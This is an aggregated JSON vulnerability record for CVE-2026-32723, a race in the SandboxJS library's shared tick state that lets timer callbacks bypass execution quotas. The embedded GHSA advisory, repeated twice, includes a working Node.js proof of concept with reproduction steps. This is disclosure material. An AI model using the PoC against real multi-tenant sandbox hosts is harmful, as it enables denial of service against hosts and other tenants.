{"id":"CVE-2026-32723","aliases":["EUVD-2026-12971","GHSA-7p5m-xrh7-769r"],"status":"published","title":"SandboxJS timers have an execution-quota bypass (cross-sandbox currentTicks race)","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.35, SandboxJS timers have an execution-quota bypass. A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog. Version 0.8.35 fixes this issue.","severity":{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00157,"percentile":0.0491,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-362"],"published":"2026-03-16T16:43:05Z","modified":"2026-10-28T02:31:14Z","fixes":[{"ecosystem":"npm","package":"@nyariv/sandboxjs","fixed_in":["0.8.35"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.8.34"},{"fixed":"0.8.35"}]}]},{"source":"osv","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.35"}]}]}],"products":[{"vendor":"nyariv","product":"sandboxjs"}],"references":[{"url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7p5m-xrh7-769r","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/nyariv/SandboxJS/commit/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32723","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7p5m-xrh7-769r"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32723.json","tags":["advisory"]},{"url":"https://github.com/nyariv/SandboxJS","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-32723","title":"SandboxJS timers have an execution-quota bypass (cross-sandbox currentTicks race)","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.35, SandboxJS timers have an execution-quota bypass. A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog. Version 0.8.35 fixes this issue.","status":"published","published":"2026-03-18T21:27:35.349Z","modified":"2026-03-19T15:51:43.598Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-362"],"updated_at":"2026-11-02T14:19:57.100857Z"}],"euvd":[{"id":"EUVD-2026-12971","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.35, SandboxJS timers have an execution-quota bypass. A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog. Version 0.8.35 fixes this issue.","status":"published","published":"2026-03-18T21:27:35Z","modified":"2026-03-19T15:51:43Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T19:25:32.813864Z"}],"ghsa":[{"id":"GHSA-7p5m-xrh7-769r","title":"SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers","description":"## Summary\n\nAssumed repo path is `/Users/zwique/Downloads/SandboxJS-0.8.34` (no `/Users/zwique/Downloads/SandboxJS` found). A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.\n\n**Impact:** execution quota bypass → CPU/resource abuse  \n\n---\n\n## Details\n\n- **Affected project:** SandboxJS (owner: nyariv)\n- **Assumed checked-out version:** `SandboxJS-0.8.34` at `/Users/zwique/Downloads/SandboxJS-0.8.34`\n\n### Vulnerable code paths\n\n- **`/src/eval.ts`** — `sandboxFunction` binds `ticks` using `ticks || currentTicks.current`:\n  ```\n  createFunction(..., ticks || currentTicks.current, { ...context, ... })\n  ```\n  Relevant lines: 44, 53, 164, 167.\n\n- **`/src/evaluator.ts` / `/src/executor.ts`** — global ticks:\n  ```\n  export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };\n  ```\n  and\n  ```\n  _execNoneRecurse(...) { currentTicks.current = ticks; ... }\n  ```\n  Relevant lines: ~1700, 1712.\n\n- **`sandboxedSetTimeout`** compiles string handlers at execution time, not at scheduling time, which lets `currentTicks.current` be the wrong sandbox's ticks when compilation occurs.\n\n---\n\n## Why This Is Vulnerable\n\n- `currentTicks.current` is global mutable state shared across all sandbox instances.\n- Timer string handlers are compiled at the moment the timer fires and read `currentTicks.current` at that time. If another sandbox runs between scheduling and execution, it can replace `currentTicks.current`. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.\n\n---\n\n## Proof of Concept\n\n\u003e Run with Node.js; adjust path if needed.\n\n```js\n// PoC (run with node); adjust path if needed\nimport Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';\n\nconst globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };\nconst prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;\n\nconst sandboxA = new Sandbox({\n  globals,\n  prototypeWhitelist,\n  executionQuota: 50n,\n  haltOnSandboxError: true,\n});\nlet haltedA = false;\nsandboxA.subscribeHalt(() =\u003e { haltedA = true; });\n\nconst sandboxB = new Sandbox({ globals, prototypeWhitelist });\n\n// Sandbox A schedules a heavy string handler\nsandboxA.compile(\n  'setTimeout(\"let x=0; for (let i=0;i\u003c200;i++){ x += i } globalThis.doneA = true;\", 0);'\n)().run();\n\n// Run sandbox B before A's timer fires\nsandboxB.compile('1+1')().run();\n\nsetTimeout(() =\u003e {\n  console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });\n}, 50);\n```\n\n### Reproduction Steps\n\n1. Place the PoC in `hi.js` and run:\n   ```\n   node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js\n   ```\n\n2. Observe output similar to:\n   ```\n   { haltedA: false, doneA: true }\n   ```\n   This indicates the heavy loop completed and the quota was bypassed.\n\n3. Remove the `sandboxB.compile('1+1')().run();` line and rerun. Output should now be:\n   ```\n   { haltedA: true }\n   ```\n   This indicates quota enforcement is working correctly.\n\n---\n\n## Impact\n\n- **Type:** Runtime guard bypass (execution-quota / watchdog bypass)\n- **Who is impacted:** Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.\n- **Practical impact:** Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.\n- **Does not (as tested) lead to:** Host object exposure or direct sandbox escape (no `process` / `require` leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.","status":"published","published":"2026-03-16T16:43:05Z","modified":"2026-03-19T21:11:11Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-362"],"updated_at":"2026-11-02T14:39:38.524712Z"}],"nvd":[{"id":"CVE-2026-32723","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.35, SandboxJS timers have an execution-quota bypass. A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog. Version 0.8.35 fixes this issue.","status":"published","published":"2026-03-18T22:16:24.827Z","modified":"2026-06-17T10:36:16.383Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"primary"}],"cwes":["CWE-362"],"updated_at":"2026-11-02T14:12:09.735529Z"}],"osv":[{"id":"CVE-2026-32723","title":"SandboxJS timers have an execution-quota bypass (cross-sandbox currentTicks race)","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.35, SandboxJS timers have an execution-quota bypass. A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog. Version 0.8.35 fixes this issue.","status":"published","published":"2026-03-18T21:27:35.349Z","modified":"2026-10-28T02:31:14.101517353Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-362"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"GHSA-7p5m-xrh7-769r","title":"SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers","description":"## Summary\n\nAssumed repo path is `/Users/zwique/Downloads/SandboxJS-0.8.34` (no `/Users/zwique/Downloads/SandboxJS` found). A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.\n\n**Impact:** execution quota bypass → CPU/resource abuse  \n\n---\n\n## Details\n\n- **Affected project:** SandboxJS (owner: nyariv)\n- **Assumed checked-out version:** `SandboxJS-0.8.34` at `/Users/zwique/Downloads/SandboxJS-0.8.34`\n\n### Vulnerable code paths\n\n- **`/src/eval.ts`** — `sandboxFunction` binds `ticks` using `ticks || currentTicks.current`:\n  ```\n  createFunction(..., ticks || currentTicks.current, { ...context, ... })\n  ```\n  Relevant lines: 44, 53, 164, 167.\n\n- **`/src/evaluator.ts` / `/src/executor.ts`** — global ticks:\n  ```\n  export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };\n  ```\n  and\n  ```\n  _execNoneRecurse(...) { currentTicks.current = ticks; ... }\n  ```\n  Relevant lines: ~1700, 1712.\n\n- **`sandboxedSetTimeout`** compiles string handlers at execution time, not at scheduling time, which lets `currentTicks.current` be the wrong sandbox's ticks when compilation occurs.\n\n---\n\n## Why This Is Vulnerable\n\n- `currentTicks.current` is global mutable state shared across all sandbox instances.\n- Timer string handlers are compiled at the moment the timer fires and read `currentTicks.current` at that time. If another sandbox runs between scheduling and execution, it can replace `currentTicks.current`. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.\n\n---\n\n## Proof of Concept\n\n\u003e Run with Node.js; adjust path if needed.\n\n```js\n// PoC (run with node); adjust path if needed\nimport Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';\n\nconst globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };\nconst prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;\n\nconst sandboxA = new Sandbox({\n  globals,\n  prototypeWhitelist,\n  executionQuota: 50n,\n  haltOnSandboxError: true,\n});\nlet haltedA = false;\nsandboxA.subscribeHalt(() =\u003e { haltedA = true; });\n\nconst sandboxB = new Sandbox({ globals, prototypeWhitelist });\n\n// Sandbox A schedules a heavy string handler\nsandboxA.compile(\n  'setTimeout(\"let x=0; for (let i=0;i\u003c200;i++){ x += i } globalThis.doneA = true;\", 0);'\n)().run();\n\n// Run sandbox B before A's timer fires\nsandboxB.compile('1+1')().run();\n\nsetTimeout(() =\u003e {\n  console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });\n}, 50);\n```\n\n### Reproduction Steps\n\n1. Place the PoC in `hi.js` and run:\n   ```\n   node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js\n   ```\n\n2. Observe output similar to:\n   ```\n   { haltedA: false, doneA: true }\n   ```\n   This indicates the heavy loop completed and the quota was bypassed.\n\n3. Remove the `sandboxB.compile('1+1')().run();` line and rerun. Output should now be:\n   ```\n   { haltedA: true }\n   ```\n   This indicates quota enforcement is working correctly.\n\n---\n\n## Impact\n\n- **Type:** Runtime guard bypass (execution-quota / watchdog bypass)\n- **Who is impacted:** Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.\n- **Practical impact:** Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.\n- **Does not (as tested) lead to:** Host object exposure or direct sandbox escape (no `process` / `require` leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.","status":"published","published":"2026-03-16T16:43:05Z","modified":"2026-03-19T21:16:17.226999Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-362"],"updated_at":"2026-11-02T15:46:41.349637Z"}]}}
